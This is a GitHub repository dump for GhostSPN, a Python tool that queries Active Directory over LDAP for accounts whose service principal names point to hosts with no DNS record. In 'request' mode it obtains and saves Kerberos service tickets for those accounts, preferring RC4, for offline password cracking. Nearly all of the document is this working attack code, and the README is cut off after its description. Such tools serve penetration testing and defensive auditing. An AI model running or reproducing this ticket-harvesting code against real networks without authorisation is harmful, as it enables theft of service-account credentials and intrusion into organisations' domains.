├── .github ├── FUNDING.yml ├── banner.png ├── dns_wildcard.png ├── example.png └── example_verbose.png ├── GhostSPN.py ├── README.md └── requirements.txt /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: p0dalirius 4 | patreon: Podalirius -------------------------------------------------------------------------------- /.github/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/GhostSPN/8063e0ca992ca0b693af548e73d79f46c71ca38f/.github/banner.png -------------------------------------------------------------------------------- /.github/dns_wildcard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/GhostSPN/8063e0ca992ca0b693af548e73d79f46c71ca38f/.github/dns_wildcard.png -------------------------------------------------------------------------------- /.github/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/GhostSPN/8063e0ca992ca0b693af548e73d79f46c71ca38f/.github/example.png -------------------------------------------------------------------------------- /.github/example_verbose.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/GhostSPN/8063e0ca992ca0b693af548e73d79f46c71ca38f/.github/example_verbose.png -------------------------------------------------------------------------------- /GhostSPN.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : GhostSPN.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 9 Jan 2023 6 | 7 | import argparse 8 | import binascii 9 | import dns.resolver 10 | from impacket.krb5 import constants 11 | from impacket.krb5.ccache import CCache 12 | from impacket.krb5.types import Principal 13 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 14 | from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 15 | from impacket.ntlm import compute_lmhash, compute_nthash 16 | import os 17 | import re 18 | from sectools.windows.ldap import raw_ldap_query, init_ldap_session 19 | from sectools.windows.crypto import parse_lm_nt_hashes 20 | 21 | 22 | VERSION = "1.1" 23 | 24 | 25 | def parse_spn(spn): 26 | # Source: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/cd328386-4d97-4666-be33-056545c1cad2 27 | # serviceclass "/" hostname [":"port | ":"instancename] ["/" servicename] 28 | data = {"serviceclass": None, "hostname": None, "port": None, "instancename": None, "servicename": None} 29 | 30 | matched = re.match( 31 | r"^([^/]+)/([^/:]+)(:(([0-9]{1,4}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])|([^/]+)))?(/(.*))?", 32 | spn) 33 | if matched is not None: 34 | serviceclass, hostname, _, _, port, instancename, _, servicename = matched.groups() 35 | data["serviceclass"] = serviceclass 36 | data["hostname"] = hostname 37 | if port is not None: 38 | data["port"] = int(port) 39 | if instancename is not None: 40 | data["instancename"] = instancename 41 | if instancename is not None: 42 | data["servicename"] = servicename 43 | return data 44 | 45 | 46 | class MicrosoftDNS(object): 47 | """ 48 | Documentation for class MicrosoftDNS 49 | """ 50 | 51 | def __init__(self, dnsserver, verbose=False): 52 | super(MicrosoftDNS, self).__init__() 53 | self.dnsserver = dnsserver 54 | self.verbose = verbose 55 | 56 | def resolve(self, target_name): 57 | target_ips = [] 58 | for rdtype in ["A", "AAAA"]: 59 | dns_answer = self.get_record(value=target_name, rdtype=rdtype) 60 | if dns_answer is not None: 61 | for record in dns_answer: 62 | target_ips.append(record.address) 63 | if self.verbose and len(target_ips) == 0: 64 | print("[debug] No records found for %s." % target_name) 65 | return target_ips 66 | 67 | def get_record(self, rdtype, value): 68 | dns_resolver = dns.resolver.Resolver() 69 | dns_resolver.nameservers = [self.dnsserver] 70 | dns_answer = None 71 | # Try UDP 72 | try: 73 | dns_answer = dns_resolver.resolve(value, rdtype=rdtype, tcp=False) 74 | except dns.resolver.NXDOMAIN: 75 | # the domain does not exist so dns resolutions remain empty 76 | pass 77 | except dns.resolver.NoAnswer as e: 78 | # domains existing but not having AAAA records is common 79 | pass 80 | except dns.resolver.NoNameservers as e: 81 | pass 82 | except dns.exception.DNSException as e: 83 | pass 84 | 85 | if dns_answer is None: 86 | # Try TCP 87 | try: 88 | dns_answer = dns_resolver.resolve(value, rdtype=rdtype, tcp=True) 89 | except dns.resolver.NXDOMAIN: 90 | # the domain does not exist so dns resolutions remain empty 91 | pass 92 | except dns.resolver.NoAnswer as e: 93 | # domains existing but not having AAAA records is common 94 | pass 95 | except dns.resolver.NoNameservers as e: 96 | pass 97 | except dns.exception.DNSException as e: 98 | pass 99 | 100 | if self.verbose and dns_answer is not None: 101 | for record in dns_answer: 102 | print("[debug] '%s' record found for %s: %s" % (rdtype, value, record.address)) 103 | 104 | return dns_answer 105 | 106 | 107 | class GhostSPNLookup(object): 108 | """ 109 | Documentation for class GhostSPNLookup 110 | """ 111 | 112 | def __init__(self, auth_domain, auth_username, auth_password, auth_hashes, auth_dc_ip, kerberos_aeskey=None, kerberos_kdcip=None, verbose=False, debug=False): 113 | super(GhostSPNLookup, self).__init__() 114 | self.verbose = verbose 115 | self.debug = debug 116 | if self.debug: 117 | self.verbose = True 118 | 119 | # objects known to exist 120 | self.cache = {} 121 | 122 | self.auth_domain = options.domain 123 | self.auth_username = options.username 124 | self.auth_password = options.password 125 | self.auth_hashes = options.hashes 126 | self.__lmhash, self.__nthash = parse_lm_nt_hashes(self.auth_hashes) 127 | self.__kerberos_aes_key = kerberos_aeskey 128 | self.__kerberos_kdc_ip = kerberos_kdcip 129 | self.auth_dc_ip = options.dc_ip 130 | 131 | self.microsoftdns = MicrosoftDNS(dnsserver=self.auth_dc_ip, verbose=self.debug) 132 | 133 | # Consistency check 134 | self.__wildcard_dns_cache = {} 135 | self.check_wildcard_dns() 136 | 137 | def list_ghost_spns(self, request=False, sAMAccounName=None, servicePrincipalName=None): 138 | print("[>] Searching for Ghost SPNs ...") 139 | 140 | ldap_query = "(&(servicePrincipalName=*))" 141 | results = raw_ldap_query( 142 | query=ldap_query, 143 | auth_domain=self.auth_domain, 144 | auth_dc_ip=self.auth_dc_ip, 145 | auth_username=self.auth_username, 146 | auth_password=self.auth_password, 147 | auth_hashes=self.auth_hashes, 148 | attributes=["sAMAccountName", "servicePrincipalName", "userPrincipalName", "userAccountControl", "distinguishedName"] 149 | ) 150 | 151 | if len(results) != 0: 152 | for dn, userdata in results.items(): 153 | print_dn = True 154 | # Filter on sAMAccountName 155 | if sAMAccounName is not None: 156 | if sAMAccounName.lower() not in userdata["sAMAccountName"].lower(): 157 | continue 158 | if self.verbose: 159 | print_dn = False 160 | self.__print_dn_with_properties(dn, userdata["userAccountControl"]) 161 | 162 | for spn in sorted(userdata["servicePrincipalName"]): 163 | # Filter on servicePrincipalName 164 | if servicePrincipalName is not None: 165 | if servicePrincipalName.lower() not in spn.lower(): 166 | continue 167 | # 168 | hosts_exists, wildcard_resolved = self.is_ghost_spn(userdata, spn) 169 | # It is a ghost spn, with no DNS entry 170 | if not hosts_exists and not wildcard_resolved: 171 | if print_dn and not self.verbose: 172 | print_dn = False 173 | self.__print_dn_with_properties(dn, userdata["userAccountControl"]) 174 | print(" - \x1b[91;1m[vulnerable] %s\x1b[0m" % spn) 175 | if request: 176 | self.kerberos_get_tgs(userdata["sAMAccountName"], spn) 177 | # Check if it was a wildcard dns entry 178 | elif wildcard_resolved: 179 | if print_dn and not self.verbose: 180 | print_dn = False 181 | self.__print_dn_with_properties(dn, userdata["userAccountControl"]) 182 | print(" - \x1b[93;1m[probably vulnerable] %s (resolved through a DNS wildcard)\x1b[0m" % spn) 183 | if request: 184 | self.kerberos_get_tgs(userdata["sAMAccountName"], spn) 185 | # DNS entry exists, without wildcard 186 | else: 187 | if self.verbose: 188 | print(" - \x1b[92;1m[not vulnerable] %s\x1b[0m" % spn) 189 | else: 190 | print("[!] No account were found with servicePrincipalNames.") 191 | print("[+] All done, bye bye!") 192 | 193 | def __print_dn_with_properties(self, dn, uac): 194 | disabled, delegation = "", "" 195 | 196 | if (uac & UF_ACCOUNTDISABLE) == UF_ACCOUNTDISABLE: 197 | disabled = "(\x1b[94;1maccount disabled\x1b[0m)" 198 | 199 | if (uac & UF_TRUSTED_FOR_DELEGATION) == UF_TRUSTED_FOR_DELEGATION: 200 | delegation = '(\x1b[94;1munconstrained delegation\x1b[0m)' 201 | elif (uac & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION) == UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: 202 | delegation = '(\x1b[94;1mconstrained delegation\x1b[0m)' 203 | 204 | print("[>] %s %s%s" % (dn, disabled, delegation)) 205 | 206 | def is_ghost_spn(self, userdata, spn): 207 | spn_data = parse_spn(spn) 208 | 209 | # Relative name 210 | if "." not in spn_data["hostname"]: 211 | # Extract domain from distinguishedName 212 | domain = [] 213 | for dc in userdata["distinguishedName"].split(','): 214 | if dc.lower().startswith("dc="): 215 | domain.append(dc.split('=', 1)[1]) 216 | domain = '.'.join(domain) 217 | fqdn = spn_data["hostname"] + "." + domain 218 | # Already is a FQDN 219 | else: 220 | fqdn = spn_data["hostname"] 221 | 222 | if fqdn in self.cache.keys(): 223 | hosts_exists, is_dns_wildcard = True, False 224 | else: 225 | hosts_exists, is_dns_wildcard = self.lookup(fqdn) 226 | 227 | return hosts_exists, is_dns_wildcard 228 | 229 | def lookup(self, fqdn): 230 | hosts_exists, is_dns_wildcard = False, False 231 | results = self.microsoftdns.resolve(fqdn) 232 | 233 | if len(results) != 0: 234 | # Cache results 235 | if fqdn not in self.cache.keys(): 236 | self.cache[fqdn] = [] 237 | self.cache[fqdn] = sorted(list(set(self.cache[fqdn] + results))) 238 | hosts_exists, is_dns_wildcard = True, False 239 | 240 | # Check for wildcards 241 | for result in results: 242 | for wildcard in self.__wildcard_dns_cache.keys(): 243 | regex = re.sub('\\.', '\\.', wildcard) 244 | regex = re.sub('^\\*', '^[^.]*', regex) 245 | 246 | if re.match(regex, fqdn, re.IGNORECASE): 247 | if result in self.__wildcard_dns_cache[wildcard].keys(): 248 | hosts_exists, is_dns_wildcard = False, True 249 | else: 250 | hosts_exists, is_dns_wildcard = False, False 251 | 252 | return hosts_exists, is_dns_wildcard 253 | 254 | def check_wildcard_dns(self): 255 | auth_lm_hash, auth_nt_hash = parse_lm_nt_hashes(self.auth_hashes) 256 | 257 | ldap_server, ldap_session = init_ldap_session( 258 | auth_domain=self.auth_domain, 259 | auth_dc_ip=self.auth_dc_ip, 260 | auth_username=self.auth_username, 261 | auth_password=self.auth_password, 262 | auth_lm_hash=auth_lm_hash, 263 | auth_nt_hash=auth_nt_hash, 264 | use_ldaps=False 265 | ) 266 | 267 | target_dn = "CN=MicrosoftDNS,DC=DomainDnsZones," + ldap_server.info.other["rootDomainNamingContext"][0] 268 | 269 | ldapresults = list(ldap_session.extend.standard.paged_search(target_dn, "(&(objectClass=dnsNode)(dc=\\2A))", attributes=["distinguishedName", "dNSTombstoned"])) 270 | 271 | results = {} 272 | for entry in ldapresults: 273 | if entry['type'] != 'searchResEntry': 274 | continue 275 | results[entry['dn']] = entry["attributes"] 276 | 277 | if len(results.keys()) != 0: 278 | print("[!] WARNING! Wildcard DNS entries found, dns resolution will not be consistent.") 279 | for dn, data in results.items(): 280 | fqdn = re.sub(',CN=MicrosoftDNS,DC=DomainDnsZones,DC=DOMAIN,DC=local$', '', dn) 281 | fqdn = '.'.join([dc.split('=')[1] for dc in fqdn.split(',')]) 282 | 283 | ips = self.microsoftdns.resolve(fqdn) 284 | 285 | if data["dNSTombstoned"]: 286 | print(" | %s ──> %s (set to be removed)" % (dn, ips)) 287 | else: 288 | print(" | %s ──> %s" % (dn, ips)) 289 | 290 | # Cache found wildcard dns 291 | for ip in ips: 292 | if fqdn not in self.__wildcard_dns_cache.keys(): 293 | self.__wildcard_dns_cache[fqdn] = {} 294 | if ip not in self.__wildcard_dns_cache[fqdn].keys(): 295 | self.__wildcard_dns_cache[fqdn][ip] = [] 296 | self.__wildcard_dns_cache[fqdn][ip].append(data) 297 | print() 298 | return results 299 | 300 | def kerberos_get_tgs(self, vulnerable_user, spn): 301 | # Get a TGT for the current user =============================================================================== 302 | if self.debug: 303 | if self.auth_domain is not None: 304 | print(" [debug] Getting a TGT for the current user (%s\\%s)" % (self.auth_domain, self.auth_username)) 305 | else: 306 | print(" [debug] Getting a TGT for the current user (%s)" % self.auth_username) 307 | domain, _, TGT, _ = CCache.parseFile(self.auth_domain) 308 | if TGT is not None: 309 | return TGT 310 | # No TGT in cache, request it 311 | userName = Principal(self.auth_username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 312 | # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the 313 | # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the 314 | # cleartext password. 315 | # If no clear text password is provided, we just go with the defaults. 316 | if self.auth_password != '' and (self.__lmhash == '' and self.__nthash == ''): 317 | try: 318 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( 319 | clientName=userName, 320 | password='', 321 | domain=self.auth_domain, 322 | lmhash=compute_lmhash(self.auth_password), 323 | nthash=compute_nthash(self.auth_password), 324 | aesKey=self.__kerberos_aes_key, 325 | kdcHost=self.__kerberos_kdc_ip 326 | ) 327 | except Exception as e: 328 | if self.verbose: 329 | print('[error] TGT: %s' % str(e)) 330 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( 331 | clientName=userName, 332 | password=self.auth_password, 333 | domain=self.auth_domain, 334 | lmhash=binascii.unhexlify(self.__lmhash), 335 | nthash=binascii.unhexlify(self.__nthash), 336 | aesKey=self.__kerberos_aes_key, 337 | kdcHost=self.__kerberos_kdc_ip 338 | ) 339 | else: 340 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( 341 | clientName=userName, 342 | password=self.auth_password, 343 | domain=self.auth_domain, 344 | lmhash=binascii.unhexlify(self.__lmhash), 345 | nthash=binascii.unhexlify(self.__nthash), 346 | aesKey=self.__kerberos_aes_key, 347 | kdcHost=self.__kerberos_kdc_ip 348 | ) 349 | if self.debug: 350 | print(" [debug] Successfully got TGT.") 351 | # TGT data 352 | TGT = {} 353 | TGT['KDC_REP'] = tgt 354 | TGT['cipher'] = cipher 355 | TGT['sessionKey'] = sessionKey 356 | 357 | # Get TGS =============================================================================== 358 | if self.debug: 359 | if "\x00" in vulnerable_user: 360 | print(" [debug] Getting a TGS for the user (%s)" % vulnerable_user.decode('utf-16-le')) 361 | else: 362 | print(" [debug] Getting a TGS for the user (%s)" % vulnerable_user) 363 | 364 | principalName = Principal() 365 | principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value 366 | principalName.components = [vulnerable_user] 367 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( 368 | serverName=principalName, 369 | domain=self.auth_domain, 370 | kdcHost=self.__kerberos_kdc_ip, 371 | tgt=TGT['KDC_REP'], 372 | cipher=TGT['cipher'], 373 | sessionKey=TGT['sessionKey'] 374 | ) 375 | 376 | # Save TGS to CCache =============================================================================== 377 | # Save the ticket 378 | if self.debug: 379 | if "\x00" in vulnerable_user: 380 | print(" [debug] Saving TGS of user (%s)" % vulnerable_user.decode('utf-16-le')) 381 | else: 382 | print(" [debug] Saving TGS of user (%s)" % vulnerable_user) 383 | 384 | ccache = CCache() 385 | try: 386 | ccache.fromTGS(tgs, oldSessionKey, sessionKey) 387 | if not os.path.exists("./ghostspn_tgs/"): 388 | os.makedirs("./ghostspn_tgs/") 389 | path_safe_spn = spn.replace('/', '_') 390 | ccache.saveFile('./ghostspn_tgs/%s_%s.ccache' % (vulnerable_user, path_safe_spn)) 391 | except Exception as e: 392 | print("[error] %s" % str(e)) 393 | else: 394 | print("[+] Saved TGS ./ghostspn_tgs/%s_%s.ccache" % (vulnerable_user, path_safe_spn)) 395 | 396 | 397 | def parseArgs(): 398 | print("GhostSPN v%s - by Remi GASCOU (Podalirius)\n" % VERSION) 399 | 400 | parser = argparse.ArgumentParser(description="GhostSPN") 401 | 402 | parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') 403 | parser.add_argument("--debug", default=False, action="store_true", help='Debug mode. (default: False)') 404 | 405 | # Creating the "scan" subparser ============================================================================================================== 406 | mode_scan = argparse.ArgumentParser(add_help=False) 407 | # Credentials 408 | mode_scan_credentials = mode_scan.add_argument_group("Credentials") 409 | mode_scan_credentials.add_argument("-u", "--username", default="", help="Username to authenticate to the machine.") 410 | mode_scan_credentials.add_argument("-p", "--password", default="", help="Password to authenticate to the machine. (if omitted, it will be asked unless -no-pass is specified)") 411 | mode_scan_credentials.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the machine.") 412 | mode_scan_credentials.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)") 413 | mode_scan_credentials.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)") 414 | mode_scan_credentials.add_argument("--dc-ip", required=True, action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") 415 | mode_scan_credentials.add_argument("--ldaps", default=False, action="store_true", help='Use LDAPS. (default: False)') 416 | mode_scan_credentials.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') 417 | mode_scan_credentials.add_argument("--debug", default=False, action="store_true", help='Debug mode. (default: False)') 418 | # Target 419 | mode_scan_target = mode_scan.add_argument_group("Target") 420 | mode_scan_target.add_argument("-tu", "--target-username", default=None, required=None, help="Target username to request TGS for.") 421 | mode_scan_target.add_argument("-ts", "--target-spn", default=None, required=None, help="Target Ghost SPN to request TGS for.") 422 | 423 | # Creating the "request" subparser ============================================================================================================== 424 | mode_request = argparse.ArgumentParser(add_help=False) 425 | # Credentials 426 | mode_request_credentials = mode_request.add_argument_group("Credentials") 427 | mode_request_credentials.add_argument("-u", "--username", default="", help="Username to authenticate to the machine.") 428 | mode_request_credentials.add_argument("-p", "--password", default="", help="Password to authenticate to the machine. (if omitted, it will be asked unless -no-pass is specified)") 429 | mode_request_credentials.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the machine.") 430 | mode_request_credentials.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)") 431 | mode_request_credentials.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)") 432 | mode_request_credentials.add_argument("--dc-ip", required=True, action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") 433 | mode_request_credentials.add_argument("--ldaps", default=False, action="store_true", help='Use LDAPS. (default: False)') 434 | mode_request_credentials.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') 435 | mode_request_credentials.add_argument("--debug", default=False, action="store_true", help='Debug mode. (default: False)') 436 | # Kerberos 437 | mode_request_kerberos = mode_request.add_argument_group("Kerberos") 438 | mode_request_kerberos.add_argument('--aes-key', default=None, metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') 439 | mode_request_kerberos.add_argument('--kdc-ip', default=None, help='') 440 | # Target 441 | mode_request_target = mode_request.add_argument_group("Target") 442 | mode_request_target.add_argument("-tu", "--target-username", default=None, required=None, help="Target username to request TGS for.") 443 | mode_request_target.add_argument("-ts", "--target-spn", default=None, required=None, help="Target Ghost SPN to request TGS for.") 444 | 445 | # Adding the subparsers to the base parser 446 | subparsers = parser.add_subparsers(help="Mode", dest="mode", required=True) 447 | mode_scan_parser = subparsers.add_parser("scan", parents=[mode_scan], help="") 448 | mode_request_parser = subparsers.add_parser("request", parents=[mode_request], help="") 449 | 450 | return parser.parse_args() 451 | 452 | 453 | if __name__ == '__main__': 454 | options = parseArgs() 455 | 456 | if options.mode == "scan": 457 | g = GhostSPNLookup( 458 | auth_domain=options.domain, 459 | auth_dc_ip=options.dc_ip, 460 | auth_username=options.username, 461 | auth_password=options.password, 462 | auth_hashes=options.hashes, 463 | verbose=options.verbose, 464 | debug=options.debug 465 | ) 466 | 467 | g.list_ghost_spns( 468 | sAMAccounName=options.target_username, 469 | servicePrincipalName=options.target_spn 470 | ) 471 | 472 | elif options.mode == "request": 473 | g = GhostSPNLookup( 474 | auth_domain=options.domain, 475 | auth_dc_ip=options.dc_ip, 476 | auth_username=options.username, 477 | auth_password=options.password, 478 | auth_hashes=options.hashes, 479 | kerberos_aeskey=options.aes_key, 480 | kerberos_kdcip=options.kdc_ip, 481 | verbose=options.verbose, 482 | debug=options.debug 483 | ) 484 | 485 | g.list_ghost_spns( 486 | request=True, 487 | sAMAccounName=options.target_username, 488 | servicePrincipalName=options.target_spn 489 | ) 490 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |  2 | 3 |
4 | List accounts with Service Principal Names (SPN) not linked to active dns records in an Active Directory Domain.
5 |
6 |
7 |
8 |
9 |
10 |